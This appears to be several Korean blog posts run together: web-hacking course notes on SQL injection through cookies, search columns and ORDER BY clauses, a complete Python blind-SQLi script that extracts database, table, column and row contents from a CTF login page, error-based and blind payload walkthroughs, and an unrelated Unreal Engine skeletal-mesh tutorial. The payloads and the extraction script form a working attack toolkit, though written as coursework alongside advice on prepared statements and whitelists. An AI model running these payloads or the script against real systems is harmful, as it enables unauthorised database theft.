SQL Injection이 가능한 대상은 parameter를 서버로 요청하고 받는 곳에서 SQL Injection이 일어 날 수 있다.

단순 게시판의 검색, 로그인창과 같은 input 태그의 사용되는 곳 뿐만이 아니다.

 

CASE 1 쿠키

 

마이 페이지를 요청하는 request와 response다.

 

mypage를 요청 할 때 GET Method로 요청을 진행하지만 쿼리 파라미터에 값은 보이지 않지만 cookie에 user라는 항목을 볼 수 있다.

 

해당 페이지는 cookie에 있는 user 항목으로 mypage를 불러온다고 유추 할 수 있으며 해당 쿼리는 

select 컬럼 from 테이블 where 유저컬럼 = '___쿠키값___' 이라고 유추할 수 있다. 

이를 통해 SQL Injection이 가능한지 확인해보자

 

3가지 방법으로 테스트를 진행해보자

1. ABCD

2. ABCD' and '1'='1

3. ABCD' and '1'='2

 

SQL Injection이 가능하다면 1번케이스와 2번케이스는 동일한 값이 나오며 3번 케이스에서는 값이 나오지 않게 될 것이다.

 

CASE 1

 

CASE 2

 

CASE 3

 

위의 결과로 1,2번의 케이스는 두번 째 항목에 notthing here값이 나왔으나 3번 케이스의 경우 빈 칸이 나왔다.

첫 번째 항목의 경우 값 false임에도 출력이 되는 것을 보아 DB에서 user 값을 가져오는 것이 아닌 Cookie의 값을 그대로 사용 함을 추측해 볼 수 있다.

 


CASE 2 where 절의 컬럼

게시판의 검색을 작성자, 제목, 내용으로 검색 할 수 있다.

request를 보면 option_val=title 확인가능

옵션이 title로 념어가는 것을 볼 수 있다.

 

만약 SQL이 가능 하도록 구성되어 있다면

select {컬럼} from {테이블} where {option_val} like '{board_search}'

의 형식으로 되어 있을 것이다.

 

option_val에 SQL Injection을 한다면 

where 1=1 and title like '%1%' 형태로 넣어 볼 수 있을 것이다.

 

case 1: title like '%1%'

 SQL Injection을 시도 하지 않은 결과:

 

case 2: 1=1 and title like '%1%'

 option_val=1=1 and title: 

 

 

case 3: 1=2 and title like '%1%'

option_val=1=2 and title

 

위와 같이 직접 입력하지 않는 부분이라도 SQL Injection이 가능 한 것을 확인 할 수 있다.

 


CASE 3 order by

sort  부분을 보자

request에 sort가 추가 된 것을 확인 할 수 있다. 

sort를 사용한다는 것으로 order by 구문이 사용됨을 유추 할수 있으며 쿼리는 아래와 같을 수 있다.

select {컬럼} from {테이블} where {option_val} like '{board_search}' order by {sort}

 

order by에 SQL Injection을 사용해보자

 

case 1: order by title

sort  부분을 보자

case 2: order by (select 1 from dual union select 2 from dual where 1=1)

order by에 select 구문으로 1, 2 두개의 row가 생기기 때문에 문법 오류가 발생하므로 결과가 나오지 않는다.

이를 통해 Blind SQL Inection이 가능하다.

Ex (select 1 from dual union select 2 from dual where length(database()) = 11) -> 확인 결과 db의 길이는 11 이다.(참 조건일 경우 화면에 아무 결과 없음)

 

case 2: order by (select 1 from dual union select 2 from dual where 1=2)

거짓 조건의 경우 화면에 결과가 출력된다.

 


결론

SQL Injection은 단순 화면에서 입력가능 한 부분이 아니라 SQL로 전달 되는 모든 파라미터에서 가능 할 수 있다.

 


SQL Injection의 대처방법

SQL Injection의 대처방법은 매우 간단하다. prepared Statement를 사용하면 된다.

 

prepared Statement란 SQL 질의문을 미리 컴팡일링하여 캐시에서 사용하도록 하는 방식이다. 

이를통해 SQL 질의문을 전달 받을 때마다 컴파일 할 필요가 없기에 속도 향상에 이점이 있다 

 

부가적으로 입력받는 parameter를 제외하고 모두 컴파일링을 진행 해두었기 때문에 추가적인 SQL Injection이 들어와도 동작하지 않게된다.

 

Ex )

select * from user where userName =(컴파일)=> 10101010111010101010 ? =(파라미터 입력)=> 10101010111010101010 '팥들었슈' and '1'='1' 

위는 예시일 뿐이며 정확이 이와 동일하게 동작하지는 않는다.

 

prepared Statement를 사용할 수 없는 SQL 구문이 있다.

order by 구문이다. 

동적은 order by를 사용하고 SQL Inection을 방지하려면 입력받는 order by 구문을 화이트리스트로 관리하는 것이 적절하다.

if (sortWhiteList.include(request.getSort())) {

 // 입력 받은 sort가 화이트 리스트에 있는 경우 진행

} else {

 // 입력 받은 sort가 화이트 리스트에 없다면 기본값으로 세팅

 request.setSort("기본값");

}

PS. 구문해석하기

case 1: sotingAd=,(case+when+ascii(substr((select+user+from+dual),1,1))=0+then+1+else+(1/0)+end)

case 2: page=1&board_id=&sorting=A.REG_DT&sotingAd=ASC;if+substring((select%20user_name()),1,1)=%27a%27+waitfor+delay+%270:0:1%27&startDt=&endDt=&keyword=

 

case1은 request의 sorting에 넣은 값으로 보여지며 +는 url encoding의 space이다. 

sql에 들어가는 구문으로 변경해본다면

select * from user order
by Ad, (case when ascii(substr((select user from dual),1,1))=0 then 1 else (1/0) end)

로 변경되어 SQL에 들어가게 되며 Ad, 뒷부분이 injection이 된다.

'user' 문자열을 1,1로 substr 하였기 때문에 나오는 값은 u 

u를 ascii로 변환하면 117이며 117 = 0 은 false 이기 때문에 1/0이 실행되지만 0으로 값을 나눌 수 없기 때문에 에러가 발생

즉 참이라면 화면의 결과가 나오고 거짓이라면 에러가 발생하기 때문에 화면에 값이 표출 않는다. 즉 blind SQL을 사용하기 위한 구문

 

case2을 url decode 하면

if substring((select user_name()),1,1)='a' waitfor delay '0:0:1'&startDt=&endDt=&keyword=

sql Injection 되는 부분은 order by A.REG_DT ASC 구문 이후가 될 것이다.

select * from user order
by order by A.REG_DT ASC;
if substring((select user_name()),1,1)='a' waitfor delay '0:0:1'

가 될텐데 

; 이후 if 문이 가능한가???

'웹 해킹 코스 > 내용 정리' 카테고리의 다른 글

11차 HTML의 DOM 접근  (0) 2024.01.15
9주차 XSS(크로스 사이트 스크립트)  (0) 2023.12.21
6주차 union을 사용한 SQL Injection  (0) 2023.11.30
5주차 SQL Ijection  (2) 2023.11.26
4주차 (burp suitte)  (0) 2023.11.15
import requests
import time

URL = 'http://ctf.segfaulthub.com:7777/sqli_3/login.php'
baseData = {'UserId':'', 'Password': "1234", 'Submit': 'Login'}

def sendData(data):
  baseData['UserId'] = data
  response = requests.post(URL, data=baseData)
  data = str(response.content)
  return ("Incorrect information." in data)

def getLength(injectionStr1, injectionStr2):
  count = 0
  while(True):
    if(not(sendData(injectionStr1 + str(count) + injectionStr2))):
      break
    count+=1
  return count

def getDb(URL):
  injectionStr1 = "normaltic' and (select length(database()) = "
  injectionStr2 = " ) and '1'='1"
  dbLeng = getLength(injectionStr1, injectionStr2)

  db = ''
  for i in range(1, dbLeng+1):
    db += B_search_DataBase(i, 0, 127)
  return db
 
def B_search_DataBase(i, min, max):
  middle =( min + max ) //2

  injectionStr = "normaltic' and (select ascii(substring(database(),"+ str(i) +",1)) = "+ str(middle) +") and '1'='1"
  if(not(sendData(injectionStr))):
      if ("\x00" == chr(middle)):
        print(middle) 
      return chr(middle)
  
  injectionStr = "normaltic' and (select ascii(substring(database(),"+ str(i) +",1)) > "+ str(middle) +") and '1'='1"
  if(not(sendData(injectionStr))):
    return B_search_DataBase(i, middle, max)
  
  return B_search_DataBase(i, min, middle)

def B_search_TableName(i, min, max, tableIndex, database):
  middle =( min + max ) //2

  injectionStr = "normaltic' and (select ascii(substring(table_name,{index},1))  = {middle}  from information_schema.tables where table_schema='{database}' limit {tableIndex},1) and '1'='1".format(index=str(i), middle=str(middle), database=database, tableIndex=str(tableIndex))

  if(not(sendData(injectionStr))):
      if ("\x00" == chr(middle)):
        print(middle) 
      return chr(middle)
  
  injectionStr = "normaltic' and (select ascii(substring(table_name,{index},1)) > {middle}  from information_schema.tables where table_schema='{database}' limit {tableIndex},1) and '1'='1".format(index=str(i), middle=str(middle), database=database, tableIndex=str(tableIndex))
  if(not(sendData(injectionStr))):
    return B_search_TableName(i, middle, max, tableIndex, database)
  
  return B_search_TableName(i, min, middle, tableIndex, database)

def B_search_colName(i, min, max, tableName, colIndex):
  middle =( min + max ) //2

  injectionStr = "normaltic' and (select ascii(substring(COLUMN_NAME,{index},1))  = {middle}  from information_schema.COLUMNS where TABLE_NAME='{tableName}' limit {colIndex},1) and '1'='1".format(index=str(i), middle=str(middle), tableName=tableName, colIndex=str(colIndex))
  
  if(not(sendData(injectionStr))):
      if ("\x00" == chr(middle)):
        print(middle) 
      return chr(middle)
  
  injectionStr = "normaltic' and (select ascii(substring(COLUMN_NAME,{index},1))  > {middle}  from information_schema.COLUMNS where TABLE_NAME='{tableName}' limit {colIndex},1) and '1'='1".format(index=str(i), middle=str(middle), tableName=tableName, colIndex=str(colIndex))
  if(not(sendData(injectionStr))):
    return B_search_colName(i, middle, max, tableName, colIndex)
  
  return B_search_colName(i, min, middle, tableName, colIndex)

def B_search_colData(i, min, max, tableName, col, row):
  middle =( min + max ) //2

  injectionStr = "normaltic' and (select ascii(substring({col},{index},1))  = {middle}  from {tableName} limit {row},1) and '1'='1".format(index=str(i), middle=str(middle), tableName=tableName, row=row, col=col)
  if(not(sendData(injectionStr))):
      if ("\x00" == chr(middle)):
        print(middle) 
      return chr(middle)
  
  injectionStr = "normaltic' and (select ascii(substring({col},{index},1))  > {middle}  from {tableName} limit {row},1) and '1'='1".format(index=str(i), middle=str(middle), tableName=tableName, row=row, col=col)
  if(not(sendData(injectionStr))):
    return B_search_colData(i, middle, max, tableName, col, row)
  
  return B_search_colData(i, min, middle, tableName, col, row)

def getTables(dbName):
  tables = []
  
  #총 테이블의 개수
  injectionStr1 = "normaltic' and (select count(*) from information_schema.tables where table_schema='"+ str(dbName) +"') = "
  injectionStr2 ="  and '1'='1"
  tableCount = getLength(injectionStr1, injectionStr2)

  
  #테이블 수 만큼
  
  for tableIndex in range(0, tableCount):
    #테이블을 문자열길이 구하기
    injectionStr1 = "normaltic' and (select length(table_name) from information_schema.tables where table_schema='"+ str(dbName) +"' limit "+str(tableIndex)+",1) ="
    injectionStr2 = " and '1'='1"
    tableLen = getLength(injectionStr1, injectionStr2)

    tableName = ''
    for j in range(1, tableLen+1):
      tableName += B_search_TableName(j, 0, 127, tableIndex, dbName )
    tables.append(tableName)
  
  return tables
  

def getCol(tables):
  cols = {}
  for table in tables:
      cols[table] = []
      #컬럼의 개수 구하기
      injectionStr1 = "normaltic' and (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='"+ str(table) +"') = "
      injectionStr2 ="  and '1'='1"
      colCount = getLength(injectionStr1, injectionStr2)

      for colIndex in range(0, colCount):
        #컬럼 길이 구하기
        injectionStr1 = "normaltic' and (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='"+ str(table) +"' limit "+str(colIndex)+",1) ="
        injectionStr2 = " and '1'='1"
        colLen = getLength(injectionStr1, injectionStr2)

        colName = ''
        for i in range(1, colLen+1):
          colName += B_search_colName(i, 0, 127, table, colIndex )
        cols[table].append(colName)

  return cols

def getTableData(table, cols):
  # 데이터의 row 수 확인
  injectionStr1 = "normaltic' and (select count(*) from {table} ) = ".format(table=table)
  injectionStr2 ="  and '1'='1"
  rowCnt = getLength(injectionStr1, injectionStr2)
  
  #row 수 만큼 도는 반복문
  result = []
  for row in range(0, rowCnt):
    # 컬럼 수만큼 도는 반복문
    rowData = {}
    for col in cols:
      #컬럼 데이터 길이 구하기
      injectionStr1 = "normaltic' and (select length({col}) from {table} limit {row},1 ) = ".format(table=table, row=row, col=col)
      injectionStr2 ="  and '1'='1"
      conDataLen = getLength(injectionStr1, injectionStr2)
      
      colData = ''
      for i in range(1, conDataLen+1):
        colData += B_search_colData(i, 0, 127, table, col, row)
      rowData[col] = colData

    result.append(rowData)
  return result

startTime = time.time()

print("progran start")
dbName = getDb(URL)
print("dbName is ={}".format(dbName))
tables = getTables(dbName)
print("tables: {tables}".format(tables=tables))
tableCols = getCol(tables)
print("tablesCols: {tableCols}".format(tableCols=tableCols))

# dbName = 'sqli_2'
# tables = ['flag_table', 'member']
# tableCols = {'flag_table': ['flag'], 'member': ['id', 'pass', 'name']}

print("extract Data start")
for table, cols in tableCols.items():
  print("==================={table} table Data Start===============".format(table=table))
  print(getTableData(table, cols))
  print("==================={table} table Data End===============".format(table=table))


endTime = time.time()

print(f"{endTime - startTime:.5f} sec")

'웹 해킹 코스 > 과제' 카테고리의 다른 글

SQL Injection Point 2  (0) 2023.12.20
SQL Injection Point 1  (1) 2023.12.18
CTF Athentication Bypass(Login Bypass 4)  (2) 2023.12.03
CTF Athentication Bypass(Login Bypass 3)  (1) 2023.12.03
CTF Athentication Bypass(Login Bypass 2)  (1) 2023.12.03

Error Based SQL Injection

SQL의 에러가 화면에 노출 될 때 사용된다.

 

일반적으로는 ERROR 가 화면에 노출되지 않고 뭉뚱그려 500에러로 발생되지만 개발자가 에러를 확인하기 위해 SQL의 에러를 화면에 표기되도록 만들었을 때 사용 할 수 있다. 

각 DB마다 사용하기 적절한 함수가 별도로 있으나 대표적으로 MySQL의 경우 "extractvalue"가 있다.

 

extractvalue는 extractvalue(val1, val2)로 되어 있으며 val1에서 val2의 xml 값을 찾아 표기하게 되는데 에러 메시지에서 val2의 값을 볼 수 있다 이를 활용하여 val2에 select를 추가 작성하여 값을 확인 할 수 있다.

 

예시

입력 값 : noraltic' and extractvalue('1', concat(0x3a, 'test')) #

 

 

그렇다면 test 대신 SELECT를 사용하여 DATABASE를 알아보자 

 

입력 값 : noraltic' and extractvalue('1', concat(0x3a, (select database() from dual limit 1) )) #

 

현재 사용하는 DB는errorSqli 라는 DB이다.

이제 사용하는 테이블들을 확인해보자

 입력 데이터 : noraltic' and extractvalue('1', concat(0x3a, (
select TABLE_NAME from information_schema.TABLES limit 60,1
) )) #

경험상으로 기본테이블은 약 60개라 limit을 60부터 시작했다.

테이블명은 flagTable이다.

 

이제 테이블에 사용되는 컬럼들을 찾아보자.

입력 데이터:

noraltic' and extractvalue('1', concat(0x3a, (
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'flagTable' limit 1,1
) )) #

컬럼까지 확인 했으니 조회를 해보자

 

입력 데이터:

noraltic' and extractvalue('1', concat(0x3a, (
select flag from flagTable limit 0,1
) )) #

 

데이터를 찾을 수 있다.


Blind SQL Injection

데이터의 결과를 참과 거짓으로 데이터를 추출하는 방식이다. 

아주 간단한 예시를 들자면 비밀번호가 1020이라는 값을 가진 row가 있다.

 

1020의 첫 번째 글자가 0이 맞는가? -> 거짓

1020의 첫 번째 글자가 1이 맞는가? -> 참

1020듸 두 번째 글자가 0이 맞는가? -> 참

.....

이와 같은 방식으로 데이터가 어떠한 문자를 가지는지 한글자씩 비교하는 방식이다.

 

많은 케이스를 대입해봐야하기 때문에 시간이 오래 걸리지만 참과 거짓이라는 간단한 명제를 사용하기 때문에 다양한 케이스에서 사용될 수있는 SQL Inejction이다.

예시

입력 데이터: normaltic' and ('1'='1') and '1'='1

해당 내용은 참이다. 이제 ('1'='1')에 참 거짓 명제를 넣어 Database를 알아내보자

 

입력 데이터들

normaltic' and (select length(database())=9) and '1'='1 ============> 총 9글자

normaltic' and (select substring(database(), 1,1)='a') and '1'='1  ====> 거짓

normaltic' and (select substring(database(), 1,1)='b') and '1'='1 =====> 참 (어라 blind인가?)

normaltic' and (select substring(database(), 2,1)='l') and '1'='1 ======> 참 (bl)

normaltic' and (select substring(database(), 3,1)='i') and '1'='1 ======> 참 (bli)

normaltic' and (select substring(database(), 4,1)='n') and '1'='1 ======> 참 (blin)

normaltic' and (select substring(database(), 5,1)='d') and '1'='1 ======> 참 (blind)

normaltic' and (select substring(database(), 6,1)='s') and '1'='1 ======> 참 (blind)

normaltic' and (select database()='blindSqli') and '1'='1 ==============> 참

 

 

 

 

참고로 위는 기존까지의 DB 패턴을 봐서 짐작하여 진행했다.

이러한 짐작을 할 수 없을 때를 대비해 빠르가 찾는 방법이 있다.

문자열을 ASCII로 변환하면 숫자가 되며 숫자를 찾을 때 중간값을 정하고 중간값보다 큰 값인지 작은 값인지 비교한다. 필요 없는 값은 버리고 다시 포함된 값에서 중간값을 찾고, 이를 반복하면 정답까지 시간복잡도는 log(n)이된다.

 

이를 이진탐색이라 부른다. Tbale을 찾을 때 이진탐색을 활용하여 찾아보자 

 

z의 아스키 값은 122다 테이블 명에 {|}~와 같은 특수문자가 들어가 있지 않다면 

테이블의 첫 번째 문자열은 123보다 작을 것이다.

 

입력 데이터:

normaltic' and (
select 

               ASCII(substring(table_name, 1,1)) < 123 

from information_schema.tables where table_schema='blindSqli' limit 0,1
 ) and '1'='1

 

여기서 중요한 것은 123이 참이 나왔고 이 값을 변경하며 범위를 줄여나가는 것이다.

1차 60 ~ 123

2차 90 ~ 123

3차 90 ~ 110

4차 100 ~110

5차 100 ~105 

6차 103 이 나왔고 103 g

테이블의 첫 글자는 g이다.

이와 같은 방법으로 테이블을 찾아보자 

그 전에 총 글자수는 9글자이다.

 

테이블명은 flagTable

 

이제 컬럼명을 찾자 컬럼명은 falg일 것 같다...?

 

빙고 노가다 줄었다...

 

 

처음에 찾았는데 

자꾸 틀렸다고해서 다른분께 여쭤보니 SQL이 대소문자를 구분 안해서 발생한 것 이라고 한다...

SkeletalMeshComponent  USkeletalMesh 의 인스턴스를 만드는 데 사용됩니다. 스켈레탈 메시 (외형)에는 복잡한 스켈레톤 (서로 연결된 본)이 안에 있어, 스켈레탈 메시의 버텍스 각각을 현재 재생중인 애니메이션에 일치시키도록 도와줍니다. 그 덕에 SkeletalMeshComponent 는 캐릭터, 동물, 복잡한 기계, 복합적인 동작을 보이거나 변형이 필요한 것에 적합합니다.  - 언리얼 공식문서 -

 

즉 캐릭터, 동물 등 애니메이션이 있는 매쉬를 사용하기 위해 내부에 본이 들어간 매쉬를 위한 컴포넌트이다.


 

1. Skeletal Mesh

까마귀의 스켈레탈 매시

 

우측에 본들을 볼수 있다

 

 

이러한 작업 된 스캘레탈 메쉬는 마야, 블랜더 등에서 작업되어 넘어온다. (본을 삽입하고 움직이는 과정을 블랜더에서는 리깅이라고 한다)


2. Skeletal Mesh Component

위에서 확인한 스켈레탈 매쉬를 사용하기 위해 해당 컴포넌트를 생성하고 스캘레탈 매쉬를 할당해보자

Bird.h

// Fill out your copyright notice in the Description page of Project Settings.

#pragma once

#include "CoreMinimal.h"
#include "GameFramework/Pawn.h"
#include "Bird.generated.h"

UCLASS()
class TEST01_API ABird : public APawn
{
	GENERATED_BODY()

public:
	ABird();
	virtual void SetupPlayerInputComponent(class UInputComponent* PlayerInputComponent) override;
	virtual void Tick(float DeltaTime) override;


protected:
	// Called when the game starts or when spawned
	virtual void BeginPlay() override;

private:
	UPROPERTY(VisibleAnywhere)
	class UCapsuleComponent* Capsule;

	// 여기
	UPROPERTY(VisibleAnywhere)
	class USkeletalMeshComponent* BirdMesh;

};

Bird.cpp

 

// Fill out your copyright notice in the Description page of Project Settings.

#include "Components/CapsuleComponent.h"
#include "Components/SkeletalMeshComponent.h"
#include "Bird.h"

ABird::ABird()
{
	PrimaryActorTick.bCanEverTick = true;

	//생성자 위치에서 Capsule의 변수를 설정해줌
	Capsule = CreateDefaultSubobject<UCapsuleComponent>(TEXT("Capsule"));
	Capsule->SetCapsuleHalfHeight(20.f);
	Capsule->SetCapsuleRadius(15.f);
	// 폰의 최상위 컴포넌트를 Capsule로 바꿔준다.
	SetRootComponent(Capsule);

	BirdMesh = CreateDefaultSubobject<USkeletalMeshComponent>(TEXT("Bird"));
	BirdMesh->SetupAttachment(GetRootComponent());


}

void ABird::BeginPlay()
{
	Super::BeginPlay();
	
}

void ABird::Tick(float DeltaTime)
{
	Super::Tick(DeltaTime);

}

void ABird::SetupPlayerInputComponent(UInputComponent* PlayerInputComponent)
{
	Super::SetupPlayerInputComponent(PlayerInputComponent);

}

 

 

캡슐에 attech된 것을 볼 수 있다.

아직 뷰포트에는 까마귀의 매쉬가 보이지 않는다.

 

디테일 > 스케레탈 메시 에
스켈레탈 매쉬와 캡슐

좌측 하단에 보면 X, Y, Z가 보인다. X가 정면이므로 지금 까마귀는 측면을 보고 있는 것

까마귀를 회전시켜주자

 

까마귀의 머리가 x축을 바라보고 있다.

그리고 까마귀를 아래로 내려 캡술과 일치시키자

디테일 > 애니메이션

애니메이션을 추가해보자

 

블루 프린트를 드래그하여 화면으로 옮기면 까마귀와 캡슐을 볼 수 있다.

 

 

하늘을 나는 캡슐 까마귀 완성

+ Recent posts